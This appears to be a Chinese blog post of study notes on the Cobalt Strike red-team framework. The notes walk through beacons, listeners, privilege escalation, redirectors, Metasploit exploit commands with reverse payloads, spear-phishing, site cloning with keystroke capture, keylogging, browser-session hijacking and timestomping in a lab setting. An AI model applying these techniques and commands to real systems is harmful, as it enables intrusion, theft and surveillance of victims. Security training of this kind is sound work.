Cobalt Strike 学习笔记
本文最后更新于 915 天前,其中的信息可能已经有所发展或是发生改变。

B站视频:https://www.bilibili.com/video/BV16b411i7n5

参考链接:【建议收藏】CS学习笔记合集

一 如何搭建自己的渗透测试环境

二 如何连接团队服务器

Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互,

Cobalt Strike的客户端想连接到团队服务器需要知道三个信息:

  • 团队服务器的外部IP地址
  • 团队服务器的连接密码
  • (此项可选)决定Malleable C2工具的哪一个用户配置文件被用于团队服务器

知道这些信息后,就可以使用脚本开启团队服务器了,值得注意的是Cobalt Strike团队服务器只能运行在Linux环境下。

开启团队服务器

./teamserver your_ip your_passowrd [config_file]

连接到团队服务器

直接运行start.sh脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接

点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,

随后即可打开CS客户端界面

进入后最下方有一个聊天功能,可以用来团队交流。

Cobalt Strike不是用来设计指导在一个团队服务器下进行工作的,而是被设计成在一次行动中使用多个团队服务器。

这样设计的目的主要在于运行安全,如果一个团队服务器停止运行了,也不会导致整个行动的失败,所以接下来看看如何连接到多个团队服务器。

连接到多个团队服务器

Cobalt Strike连接到多个团队服务器也很简单,直接点击左上角的加号,输入其他团队服务器的信息后,即可连接

三 如何进行分布操作

这里介绍最基本的团队服务模型,具体由三个服务器构成,具体如下所示:

  • 临时服务器(Staging Servers)临时服务器介于持久服务器和后渗透服务器之间,它的作用主要是方便在短时间内对目标系统进行访问。它也是最开始用于传递payload、获取初始权限的服务器,它承担初始的权限提升和下载持久性程序的功能,因此这个服务器有较高暴露风险。
  • 持久服务器(Long Haul Servers)持久服务器的作用是保持对目标网络的长期访问,所以持久服务器会以较低的频率与目标保持通信。
  • 后渗透服务器(Post-Exploitation Servers)主要进行后渗透及横向移动的相关任务,比如对目标进行交互式访问

可伸缩红队操作模型

可伸缩红队操作模型(Scaling Red Operations)分为两个层次,第一层次是针对一个目标网络的目标单元;第二层次是针对多个目标网络的权限管理单元。

目标单元的工作:

  • 负责具体目标或行动的对象
  • 获得访问权限、后渗透、横向移动
  • 维护本地基础设施

访问管理单元的工作:

  • 保持所有目标网络的访问权限
  • 获取访问权限并接收来自单元的访问
  • 根据需要传递对目标单元的访问
  • 为持续回调保持全局基础环境

团队角色

  • 开始渗透人员主要任务是进入目标系统,并扩大立足点
  • 后渗透人员主要任务是对目标系统进行数据挖掘、对用户进行监控,收集目标系统的密钥、日志等敏感信息
  • 本地通道管理人员主要任务有建立基础设施、保持shell的持久性、管理回调、传递全局访问管理单元之间的会话

四 快速登录和生成“会话报告”

日志记录

Cobalt Strike的日志文件在团队服务器下的运行目录中的logs文件夹内,其中有些日志文件名例如beacon_11309.log,这里的11309就是beacon会话的ID。

按键的日志在keystrokes文件夹内,截屏的日志在screenshots文件夹内,截屏的日志名称一般如screen_015321_4826.jpg类似,其中015321表示时间(1点53分21秒),4826表示ID

导出报告

Cobalt Strike生成报告的目的在于培训或帮助蓝队,在Reporting菜单栏中就可以生成报告,关于生成的报告有以下特点:

  • 输出格式为PDF或者Word格式
  • 可以输出自定义报告并且更改图标(Cobalt Strike –> Preferences –>Reporting)
  • 可以合并多个团队服务器的报告,并可以对不同报告里的时间进行校正

报告类型

  • 活动报告(Activity Report)
    此报告中提供了红队活动的时间表,记录了每个后渗透活动。
  • 主机报告(Hosts Report)
    此报告中汇总了Cobalt Strike收集的主机信息,凭据、服务和会话也会在此报告中。
  • 侵害指标报告(Indicators of Compromise)
    此报告中包括对C2拓展文件的分析、使用的域名及上传文件的MD5哈希。
  • 会话报告(Sessions Report)
    此报告中记录了指标和活动,包括每个会话回连到自己的通信路径、后渗透活动的时间线等。
  • 社工报告(Social Engineering Report)
    此报告中记录了每一轮网络钓鱼的电子邮件、谁点击以及从每个点击用户那里收集的信息。该报告还显示了Cobalt Strike的System profiler发现的应用程序。
  • 战术、技巧和程序报告(Tactics,Techniques,and Procedures)
    此报告将自己的Cobalt Strike行动映射到MITRE的ATT&CK矩阵中的战术,具体可参考https://attack.mitre.org/

五 如何建立payload处理器(HTTP and HTTPS Beacon)

  • 什么是监听器顾名思义,监听器就是等待被入侵系统连接自己的一个服务。
  • 监听器的作用主要是为了接受payload回传的各类数据,类似于MSF中handler的作用。比如payload在目标机器执行以后,就会回连到监听器然后下载执行真正的shellcode代码。

一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,接下来将深入了解如何准确配置监听器。

一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。

监听器的名字一般由以下结构组成:

// 操作系统/攻击载荷/传输器
Operating System/Payload/Stager
// 样例
windows/beacon_http/reverse_http

什么是传输器

攻击载荷payload就是攻击执行的内容。攻击载荷通常被分为两部分:传输器stager 和传输体stage

传输器stager是一个小程序,用于连接、下载传输体stage,并插入到内存中。

我个人理解为:攻击载荷里真正用于攻击的代码是在传输体里。

所以为什么要有传输体?直接把攻击载荷插入到内存中不更方便快捷、更香么,搞得又是传输器又是传输体的。

需要传输体是因为在很多攻击中对于能加载进内存,并在成功漏洞利用后执行的数据大小存在严格限制。这就导致在攻击成功时,很难嵌入额外的攻击载荷,正是因为这些限制,才使得传输器变得有必要了。

创建监听器

在CS客户端中打开 Cobalt Strike —》Listeners,之后点击Add,此时弹出New Listener窗口,在填写监听器的相关信息之前,需要先来了解监听器有哪些类型。

Cobalt Strike有两种类型的监听器:

  • BeaconBeacon直译过来就是灯塔、信标、照亮指引的意思,Beacon是较为隐蔽的后渗透代理,笔者个人理解Beacon类型的监听器应该是平时比较常用的。Beacon监听器的名称例如:windows/beacon_http/reverse_http
  • ForeignForeign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,笔者个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:windows/foreign/reverse_https

Beacon是什么

  • Beacon是CS的Payload
  • Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
  • 通过HTTP、HTTPS和DNS出口网络
  • 使用SMB协议的时候是点对点通信
  • Beacon有很多的后渗透攻击模块和远程管理工具

Beacon的类型

  • HTTP 和 HTTPS BeaconHTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。windows/beacon_http/reverse_http windows/beacon_https/reverse_https
  • DNS Beaconwindows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http
  • SMB BeaconSMB Beacon也可以叫做pipe beaconwindows/beacon_smb/bind_pipe

创建一个HTTP Beacon

点击 Cobalt Strike –> Listeners 打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTP Beacon,所以其他的默认就行,最后点击Save

此时可以测试一下刚才设置的监听器,点击Attack –> Web Drive-by –> Scripted Web Delivery(s) ,在弹出的窗口中选择刚才新添的Listener,因为我的靶机是64位的,所以我把Use x64 payload也给勾选上了,最后点击Launch

通过HTTP协议,我们可以看到他长这样子的:

复制弹窗的命令,放到靶机中运行

此时,回到CS,就可以看到已经靶机上线了

可以进行一些比蚁剑还猛的骚操作

HTTPS Beacon

HTTPS Beaocn和HTTP Beacon一样,使用了相同的Malleable C2配置文件,使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书,具体如何配置可以参考:

https://www.cobaltstrike.com/help-malleable-c2#validssl

六 DNS Beacon 的作用

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。

以上内容摘自 A-TEAM 团队的 CS 4.0 用户手册

DNS Beacon的工作流程具体如下:

首先,CS服务器向目标发起攻击,将DNS Beacon传输器嵌入到目标主机内存中,然后在目标主机上的DNS Beacon传输器回连下载CS服务器上的DNS Beacon传输体,当DNS Beacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。

原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNS TXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了,所以接下来重点学习使用DNS TXT记录的方式。

根据作者的介绍,DNS Beacon拥有更高的隐蔽性,但是速度相对于HTTP Beacon什么的会更慢。

域名配置

既然是配置域名,所以就需要先有个域名,添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。

添加一个监听器,DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称

七 SMB Beacon 的作用

SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。

因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。

SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。

SMB Beacon 配置

首先需要一个上线的主机,这里我使用的HTTP Beacon,具体如何上线,可以参考之前第5节《如何建立Payload处理器》学习笔记中的内容,这里不过多赘述。

主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。

接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。

等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞字符。

接下来我这里将SMB Beacon插入到进程中,以vmtoolsed进程为例。

在vmtoolsed中插入SMB Beacon后,便能看到process为vmtoolsed.exe的派生SMB Beacon。

当上线主机较多的时候,只靠列表的方式去展现,就显得不太直观了,通过CS客户端中的透视图便能很好的展现。

在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的test用户为普通权限用户,因此这里给他提升一下权限。

提权

由于下面与上面内容的笔记不是在同一天写的,因此截图中上线的主机会有所差异,这里主要是记录使用的方法。

由于CS自带的提权方式较少,因此这里就先加载一些网上的提权脚本,脚本下载地址为:https://github.com/rsmudge/ElevateKit

下载之后,打开Cobalt Strike --> Script Manager ,之后点击Load,选择自己刚才下载的文件中的elevate.cna文件。

接着选择要提权的主机,右击选择Access --> Elevate,Listener中选择刚才新建的SMB Beacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试。

顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的。

连接与断开

此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入unlink 192.168.175.144

如果想再次连上,就直接输入link 192.168.175.144,想从当前主机连到其他主机也可以使用此命令。

重定向器

重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样。

目标靶机 <-------->多个并列的重定向器<------>CS服务器

重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:

  • 保护自己的CS服务器,避免目标发现自己的真实IP
  • 提高整体可靠性,因为可以设置多个重定向器,因此如果有个别重定向器停止工作了,整体上系统依旧是可以正常工作的

创建一个重定向器

这里就使用自己的内网环境作为测试了,首先理清自己的IP

CS服务器IP:192.168.175.129

目标靶机IP:192.168.175.130

重定向器IP:192.168.175.132、192.168.175.133

首先,需要先配置重定向器的端口转发,比如这里使用HTTP Beacon,就需要将重定向器的80端口流量全部转发到CS服务器上,使用socat的命令如下:

socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80

攻击载荷安全特性

1、在Beacon传输Payload到目标上执行任务时都会先验证团队服务器,以确保Beacon只接受并只运行来自其团队服务器的任务,并且结果也只能发送到其团队服务器。

2、在刚开始设置Beacon Payload时,CS会生成一个团队服务器专有的公私钥对,这个公钥嵌入在Beacon的Payload Stage中。Beacon使用团队服务器的公钥来加密传输的元数据,这个元数据中一般包含传输的进程ID、目标系统IP地址、目标主机名称等信息,这也意味着只有团队服务器才能解密这个元数据。

3、当Beacon从团队服务器下载任务或团队服务器接收Beacon输出时,团队服务器将会使用Beacon生成的会话秘钥来加密任务并解密输出。

4、值得注意的是,Payload Stagers 因为其体积很小,所以没有这些的安全特性。

八 客户端渗透的重点

什么是客户端攻击

客户端攻击根据教程直译过来就是一种依靠应用程序使用控制端来进行的可视化攻击。

原文:A client-side attack is an attack against an application used to view attacker controlled content.

为什么要进行客户端攻击

随着时代发展到了今天,在有各种WAF、防火墙的情况下,各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。

而当我们发送一个钓鱼文件到客户端上,再由客户端打开这个文件,最后客户端穿过防火墙回连到我们,此时在客户端上我们就获得了一个立足点foothold。这样的一个过程是相对而言是较为容易的,这也是为什么要进行客户端攻击。

如何获得客户端上的立足点

1、尽可能多的了解目标环境,即做好信息收集工作

2、创建一个虚拟机,使它与目标环境尽可能的一致,比如操作系统、使用的浏览器版本等等都需要保证严格一致

3、攻击刚刚创建的虚拟机,这会是最好的攻击目标

4、精心策划攻击方法,达到使目标认为这些攻击行为都是正常行为的效果

5、将精心制作的钓鱼文件发送给目标,比如钓鱼邮件

如果这五步都非常细致精心的去准备,那么攻击成功的概率会大幅提升。

系统侦察

系统侦察System Profiler是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。

设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择System Profiler功能模块,配置待跳转的URL等信息即可。

如果勾选了Use Java Applet to get information则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。

配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察

1、View --> Applications
2、View --> Web Log
3、Cobalt Strike --> Visualization --> Target Table

目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。

值得注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。

Cobalt Strike 的攻击方式

用户驱动攻击

用户驱动攻击User-Driven Attacks需要欺骗用户产生交互才行,但也有许多的优点。

首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。

当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:

用户驱动攻击包

用户驱动攻击包User-Driven Attacks Packages功能打开位置:Attacks --> Packages

1、HTML应用

HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。

2、Microsoft Office 宏文件

Microsoft Office 宏文件Microsoft Office Document Macros可以生成恶意宏放入office文件,非常经典的攻击手法。

3、Payload 生成器

Payload生成器Payload Generator可以生成各种语言版本的Payload,便于进行免杀。

4、Windows 可执行文件

Windows 可执行文件Windows Executable 会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)

5、Windows 可执行文件(Stageless)

Windows 可执行文件(Stageless)Windows Executable (Stageless)会生成一个无进程的Windows可执行文件或DLL文件。其中的 Stageless 表示把包含payload在内的”全功能”被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)

用户驱动的Web交付攻击

用户驱动Web交付攻击User-Driven Web Drive-by Attacks功能打开位置:Attacks --> Web Drive-by

1、java 签名 applet 攻击

java 签名 applet 攻击Java Signed Applet Attack会启动一个Web服务以提供自签名Java Applet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时。

2、Java 智能 Applet 攻击

Java 智能 Applet 攻击Java Smart Applet Attack会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效。

3、脚本化 Web 交付

脚本化 Web 交付Scripted Web Delivery 为payload提供web服务以便于下载和执行,类似于MSF的Script Web Delivery

4、托管文件

托管文件Host File通过Attacks --> Web Drive-by --> Host File进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管。

如果想删除上传到CS服务端上的文件,可以到Attacks --> Web Drive-by --> Manage下进行删除。

HTTP攻击

首先来到Attacks --> Packages --> HTML Application创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。

HTML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。

下载后运行就可以看到回连的对话了。

九 Metasploit框架

如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。

1、首先在MSF上选择攻击模块

2、接着在MSF上设置Payload为windows/meterpreter/reverse_http或者windows/meterpreter/reverse_https,这么做是因为CS的Beacon与MSF的分阶段协议是相兼容的。

3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口。

4、然后设置 DisablePayloadHandler 为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。

5、再设置 PrependMigrate 为 True,此选项让 MSF 前置 shellcode 在另一个进程中运行 payload stager。如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。

6、最后运行exploit -j,-j 是指作为job开始运行,即在后台运行。

操作

在CS中新建一个HTTP Beacon,创建过程不再赘述。

1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf模块,不过个人感觉现在这个模块已经不太能被利用成功了。

use exploit/multi/browser/adobe_flash_hacking_team_uaf

2、接着配置payload,这里选择revese_http payload

set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80

3、之后,配置DisablePayloadHandlerPrependMigrate为 True

set DisablePayloadHandler True
set PrependMigrate True

4、最后,开始攻击。

exploit -j

伪装—克隆网站

在向目标发送漏洞程序之前,我们将自己进行伪装一下,这样可以更好的保护自己,同时提高成功率。CS上有个克隆网站的功能,能够较好的帮助到我们。

首先,来到Attacks --> Web Drive-by --> Clone Site下,打开克隆网站的功能,之后写入待克隆网站的URL,在Attack中写入MSF中生成的URL。

其中Log keystrokes on cloned site选项如果勾选则可以获取目标的键盘记录,记录结果在Web Log中能够查看。


之后,浏览器打开克隆站点地址,如果目标存在漏洞,就可以被利用了,同时在CS中也会观察到主机上线。

鱼叉式网络钓鱼

用CS进行钓鱼需要四个步骤:

1、创建一个目标清单

2、制作一个邮件模板或者使用之前制作好的模板

3、选择一个用来发送邮件的邮件服务器

4、发送邮件

目标清单

目标清单就是每行一个邮件地址的txt文件,即每行包含一个目标。

在一行中除了邮件地址也可以使用标签或一个名字。如果提供了名称,则有助于 Cobalt Strike 自定义每个网络钓鱼。

这里使用一些在线邮件接收平台的邮箱地址作为示例。

astrqb79501@chacuo.net    test1
gswtdm26180@chacuo.net    test2
ypmgin95416@chacuo.net    test3

将以上内容保存为txt文本文件,就创建好了自己的目标清单。

模板

使用模板的好处在于可以重复利用,制作钓鱼模板也很简单。

首先可以自己写一封邮件发给自己,或者直接从自己收件箱挑选一个合适的。有了合适的邮件之后,查看邮件原始信息,一般在邮件的选项里能找到这个功能。最后将邮件的原始信息保存为文件,一个模板就制作完成了。

发送邮件

有了目标和模板,然后选好自己的邮件服务器,之后就可以发送消息了。

在CS客户端中,点击Attacks --> Spear Phish即可打开网络钓鱼模块。添加上目标、模板、钓鱼地址、邮箱服务、退回邮箱,其中Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致,否则会报错。

所有信息添加完成后,可以点击Preview查看。如果感觉效果不错,就可以点击send发送了。

当目标收到钓鱼邮件,并且点击钓鱼邮件中的链接后,如果钓鱼链接配置的没有问题,CS就能够上线了。

十 如何管理payload载荷

Beacon 的管理

Beacon 控制台

在一个 Beacon 会话上右击 interact(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。

在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。

Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。

Beacon 菜单

Access:包含了一些对凭据的操作及提权的选项

Explore:包含了信息探测与目标交互的选项

Pivoting:包含了一些设置代理隧道的选项

Session:包含了对当前 Beacon 会话管理的选项

Beacon 命令

help:查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息。

clear:清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令。

sleep:改变 Beacon 的休眠时间。输入 sleep 30表示休眠30秒;输入sleep 60 50表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入 sleep 0则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop时, Beacon 会自动进入交互模式。

shell:通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig

run:不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显。

execute:执行命令,但不回显结果。

cd:切换当前工作目录。

pwd:查看当前所在目录。

powershell:通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 ipconfig,就需要输入powershell ipconfig

powerpick:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。

psinject:将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。

powershell-import:导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本。

powershell get-help:获取 PowerShell 命令的相关帮助信息。比如想获取 PowerShell 下 get-process 命令的帮助,就需要输入powershell get-help get-process

execute-assembly:将一个本地的 .NET 可执行文件作为 Beacon 的后渗透任务来运行。

setenv:设置一个环境变量。

会话传递

会话传递相关命令

Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。

spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。

spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。

inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。

spawninject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。

dllinjectdllinject + [pid]来将一个反射性 DLL 注入到一个进程中。

shinject:使用shinject [pid] [架构] [/路径/.../file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。

shspawn:使用shspawn [架构] [/路径/.../file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。

dllload:使用dllload [pid] [c:\路径\...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。

会话传递使用场景

1、将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。

2、将当前会话传递至MSF中,这里简单做一下演示。

首先,在MSF中,为攻击载荷新建一个payload

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j

随后,在CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话。

文件系统

浏览会话系统文件位置在右击会话处,选择 Explore --> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。

在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。

彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。

文件下载

download:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。

downloads:查看当前 Beacon 正在进行的文件下载列表。

cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。

下载文件都将下载到CS团队服务器中,在View --> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。

文件上传

upload:上传一个文件到目标主机上。

timestomp:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。

十一 用户驱动溢出攻击

Beacon 运行任务的方式是以jobs去运行的,比如键盘记录、PowerShell 脚本、端口扫描等,这些任务都是在 beacon check in 之间于后台运行的。

jobs:查看当前 Beacon 中的任务

jobkill:加上任务 ID,对指定任务进行停止

屏幕截图

screenshot:获取屏幕截图,使用screenshot pid来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64注入到一个 x64 进程中,explorer.exe 是一个好的候选程序。

使用screenshot [pid] [x86|x64] [time]来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View --> Screenshots来浏览从所有 Beacon 会话中获取的截屏。

键盘记录

keylogger:键盘记录器,使用keylogger pid来注入一个 x86 程序。使用keylogger pid x64来注入一个 x64 程序,explorer.exe 是一个好的候选程序。

使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View --> Keystrokes中进行查看。

其他

除了上述使用命令的方式进行屏幕截图和键盘记录,也可以来到Explore --> Process List下选择要注入的进程,再直接点击屏幕截图或键盘记录的功能按钮。

从使用上,具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器。

浏览器转发

浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。

找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore --> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。

此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。

代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面。

端口扫描

portscan:进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]

目标发现discovery method有三种方法,分别是:arp、icmp、nonearp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。

端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。

右击 Beacon会话,在Explore --> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
